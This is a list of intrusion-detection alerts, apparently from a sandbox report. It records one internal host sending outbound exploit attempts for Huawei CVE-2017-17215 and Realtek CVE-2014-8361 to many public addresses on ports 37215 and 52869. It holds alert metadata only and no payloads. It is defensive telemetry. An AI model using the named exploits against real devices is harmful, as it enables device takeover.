ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.10.247.163

Timestamp:	07/20/24-23:01:08.368788
SID:	2835222
Source Port:	48678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.1.215.159

Timestamp:	07/20/24-23:01:12.490733
SID:	2829579
Source Port:	42942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.82.200.164

Timestamp:	07/20/24-23:01:22.739029
SID:	2829579
Source Port:	47986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.47.155.214

Timestamp:	07/20/24-23:01:12.356569
SID:	2835222
Source Port:	46248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.193.114.61

Timestamp:	07/20/24-23:01:12.374034
SID:	2829579
Source Port:	53238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.228.185.137

Timestamp:	07/20/24-23:01:36.781770
SID:	2835222
Source Port:	42482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.44.137.40

Timestamp:	07/20/24-23:01:27.297470
SID:	2829579
Source Port:	49986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.211.251

Timestamp:	07/20/24-23:01:22.749655
SID:	2835222
Source Port:	38594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.76.224.116

Timestamp:	07/20/24-23:01:12.485458
SID:	2829579
Source Port:	39238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.14.46.130

Timestamp:	07/20/24-23:01:22.739710
SID:	2829579
Source Port:	53906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.80.205.190

Timestamp:	07/20/24-23:01:06.800492
SID:	2835222
Source Port:	33084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.134.23.72

Timestamp:	07/20/24-23:01:15.000888
SID:	2835222
Source Port:	58820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.202.34.88

Timestamp:	07/20/24-23:00:59.055158
SID:	2835222
Source Port:	43270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 180.204.53.247

Timestamp:	07/20/24-23:01:25.389819
SID:	2835222
Source Port:	57724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.250.242.225

Timestamp:	07/20/24-23:01:36.781139
SID:	2835222
Source Port:	47356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 105.237.48.102

Timestamp:	07/20/24-23:01:27.354180
SID:	2831300
Source Port:	55814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 125.165.157.181

Timestamp:	07/20/24-23:01:14.513211
SID:	2831300
Source Port:	49058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 165.95.243.107

Timestamp:	07/20/24-23:01:14.536691
SID:	2831300
Source Port:	48344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.81.89.101

Timestamp:	07/20/24-23:01:02.624280
SID:	2835222
Source Port:	44146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 112.104.240.153

Timestamp:	07/20/24-23:01:14.500796
SID:	2027339
Source Port:	36558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 31.56.91.186

Timestamp:	07/20/24-23:01:15.795654
SID:	2829579
Source Port:	34910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.220.78.185

Timestamp:	07/20/24-23:00:59.020935
SID:	2835222
Source Port:	33556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.17.29.203

Timestamp:	07/20/24-23:01:27.232388
SID:	2829579
Source Port:	50760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.30.140.44

Timestamp:	07/20/24-23:01:02.603717
SID:	2835222
Source Port:	48126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 130.147.77.29

Timestamp:	07/20/24-23:01:14.539913
SID:	2831300
Source Port:	37472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.31.2.110

Timestamp:	07/20/24-23:01:14.997970
SID:	2835222
Source Port:	59724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.240.64.102

Timestamp:	07/20/24-23:01:27.222234
SID:	2829579
Source Port:	55098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 221.85.136.10

Timestamp:	07/20/24-23:01:06.215874
SID:	2025132
Source Port:	46252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.231.4.197

Timestamp:	07/20/24-23:00:59.021338
SID:	2829579
Source Port:	53836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.130.95.204

Timestamp:	07/20/24-23:01:04.870311
SID:	2835222
Source Port:	37308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.161.52.19

Timestamp:	07/20/24-23:00:59.021201
SID:	2829579
Source Port:	50462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 135.53.17.181

Timestamp:	07/20/24-23:01:32.203847
SID:	2829579
Source Port:	33510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 144.53.119.5

Timestamp:	07/20/24-23:01:14.546163
SID:	2831300
Source Port:	55464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 212.178.98.236

Timestamp:	07/20/24-23:01:27.352669
SID:	2027339
Source Port:	51442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.169.206

Timestamp:	07/20/24-23:01:08.392907
SID:	2829579
Source Port:	43728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.117.126.33

Timestamp:	07/20/24-23:01:02.613619
SID:	2835222
Source Port:	37284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 183.67.166.218

Timestamp:	07/20/24-23:01:04.858015
SID:	2829579
Source Port:	54214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.140.35

Timestamp:	07/20/24-23:01:04.874131
SID:	2835222
Source Port:	49930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.124.222.24

Timestamp:	07/20/24-23:00:59.020509
SID:	2829579
Source Port:	58098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.203.51.193

Timestamp:	07/20/24-23:01:36.793382
SID:	2829579
Source Port:	35516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.174.108.240

Timestamp:	07/20/24-23:01:12.483526
SID:	2835222
Source Port:	44844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 126.66.84.101

Timestamp:	07/20/24-23:01:05.795470
SID:	2025132
Source Port:	60280
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.169.214.128

Timestamp:	07/20/24-23:01:22.737455
SID:	2829579
Source Port:	49236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.40.53.0

Timestamp:	07/20/24-23:01:25.389307
SID:	2835222
Source Port:	52132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.4.167.173

Timestamp:	07/20/24-23:01:14.998444
SID:	2835222
Source Port:	52720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.82.209.252

Timestamp:	07/20/24-23:00:59.055000
SID:	2829579
Source Port:	49580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 48.113.240.162

Timestamp:	07/20/24-23:01:05.132175
SID:	2027339
Source Port:	59934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.173.199.42

Timestamp:	07/20/24-23:01:04.879348
SID:	2829579
Source Port:	42624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.177.137.53

Timestamp:	07/20/24-23:01:27.277398
SID:	2829579
Source Port:	54598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.43.44.167

Timestamp:	07/20/24-23:02:06.594057
SID:	2829579
Source Port:	43342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.143.112.34

Timestamp:	07/20/24-23:01:27.276711
SID:	2835222
Source Port:	40942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 155.208.39.65

Timestamp:	07/20/24-23:01:22.791882
SID:	2829579
Source Port:	41854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 172.51.83.216

Timestamp:	07/20/24-23:01:05.470942
SID:	2025132
Source Port:	38542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.84.182.36

Timestamp:	07/20/24-23:01:12.533731
SID:	2829579
Source Port:	34720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.73.217.175

Timestamp:	07/20/24-23:00:59.022701
SID:	2829579
Source Port:	42216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 96.235.29.144

Timestamp:	07/20/24-23:01:15.708682
SID:	2831300
Source Port:	50820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 50.236.24.191

Timestamp:	07/20/24-23:01:14.570907
SID:	2027339
Source Port:	60452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 139.174.115.167

Timestamp:	07/20/24-23:01:25.460589
SID:	2835222
Source Port:	37326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.46.186

Timestamp:	07/20/24-23:01:36.781603
SID:	2835222
Source Port:	45842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.193.127.127

Timestamp:	07/20/24-23:01:08.381624
SID:	2835222
Source Port:	34646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.235.158.52

Timestamp:	07/20/24-23:01:36.781139
SID:	2835222
Source Port:	38422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.15.177.153

Timestamp:	07/20/24-23:00:59.020786
SID:	2829579
Source Port:	58506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 181.246.127.53

Timestamp:	07/20/24-23:01:22.740154
SID:	2829579
Source Port:	59166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.52.49.166

Timestamp:	07/20/24-23:01:02.703502
SID:	2829579
Source Port:	60068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.103.24.251

Timestamp:	07/20/24-23:01:04.848605
SID:	2829579
Source Port:	52358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.44.29.75

Timestamp:	07/20/24-23:01:17.798948
SID:	2835222
Source Port:	44254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.24.233.95

Timestamp:	07/20/24-23:01:12.553660
SID:	2835222
Source Port:	60812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 213.81.191.191

Timestamp:	07/20/24-23:01:36.847780
SID:	2829579
Source Port:	43534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.3.21.190

Timestamp:	07/20/24-23:00:59.019395
SID:	2829579
Source Port:	35940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 124.217.207.199

Timestamp:	07/20/24-23:01:19.974127
SID:	2027339
Source Port:	56448
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.132.133.64

Timestamp:	07/20/24-23:01:06.806392
SID:	2829579
Source Port:	52828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.35.150.239

Timestamp:	07/20/24-23:01:32.202245
SID:	2829579
Source Port:	42600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.136.49.246

Timestamp:	07/20/24-23:01:08.383417
SID:	2835222
Source Port:	34102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 101.150.57.159

Timestamp:	07/20/24-23:01:21.019040
SID:	2027339
Source Port:	59282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.63.61.122

Timestamp:	07/20/24-23:01:12.495795
SID:	2835222
Source Port:	38778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.31.193

Timestamp:	07/20/24-23:01:12.504870
SID:	2829579
Source Port:	52320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.137.132.163

Timestamp:	07/20/24-23:01:02.685656
SID:	2829579
Source Port:	59598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.192.147

Timestamp:	07/20/24-23:01:04.892375
SID:	2829579
Source Port:	41596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.72.120.35

Timestamp:	07/20/24-23:01:22.810316
SID:	2835222
Source Port:	39998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 213.247.132.243

Timestamp:	07/20/24-23:01:12.358593
SID:	2829579
Source Port:	43312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.16.242.169

Timestamp:	07/20/24-23:01:22.812907
SID:	2835222
Source Port:	56214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.217.111.180

Timestamp:	07/20/24-23:01:25.390486
SID:	2835222
Source Port:	49506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.199.241.114

Timestamp:	07/20/24-23:01:08.368788
SID:	2829579
Source Port:	34154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 219.0.14.247

Timestamp:	07/20/24-23:01:06.351864
SID:	2027339
Source Port:	60378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 23.208.206.64

Timestamp:	07/20/24-23:01:08.464559
SID:	2835222
Source Port:	38700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 47.59.243.141

Timestamp:	07/20/24-23:01:32.208939
SID:	2829579
Source Port:	39912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 53.36.224.51

Timestamp:	07/20/24-23:01:14.542853
SID:	2831300
Source Port:	51494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.223.234.248

Timestamp:	07/20/24-23:01:32.199190
SID:	2829579
Source Port:	58620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.15.187.56

Timestamp:	07/20/24-23:01:04.867862
SID:	2829579
Source Port:	51116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.242.121.162

Timestamp:	07/20/24-23:01:36.862442
SID:	2835222
Source Port:	53402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.145.164.25

Timestamp:	07/20/24-23:00:59.022667
SID:	2829579
Source Port:	55064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.231.126.250

Timestamp:	07/20/24-23:00:59.020685
SID:	2829579
Source Port:	49466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 211.247.29.248

Timestamp:	07/20/24-23:01:05.562396
SID:	2025132
Source Port:	37354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.144.27.108

Timestamp:	07/20/24-23:01:25.388995
SID:	2835222
Source Port:	45916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.163.90.176

Timestamp:	07/20/24-23:01:36.846304
SID:	2829579
Source Port:	33794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 109.242.201.39

Timestamp:	07/20/24-23:01:14.544045
SID:	2831300
Source Port:	37006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 71.97.252.40

Timestamp:	07/20/24-23:01:08.392907
SID:	2829579
Source Port:	45870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.228.41.92

Timestamp:	07/20/24-23:01:06.827198
SID:	2835222
Source Port:	32768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 166.157.8.210

Timestamp:	07/20/24-23:01:03.882590
SID:	2027339
Source Port:	40844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.86.44.147

Timestamp:	07/20/24-23:01:08.391767
SID:	2835222
Source Port:	50078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.225.176.9

Timestamp:	07/20/24-23:01:06.812907
SID:	2835222
Source Port:	54196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.195.201.112

Timestamp:	07/20/24-23:01:02.601732
SID:	2835222
Source Port:	38052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 165.40.111.49

Timestamp:	07/20/24-23:01:07.450482
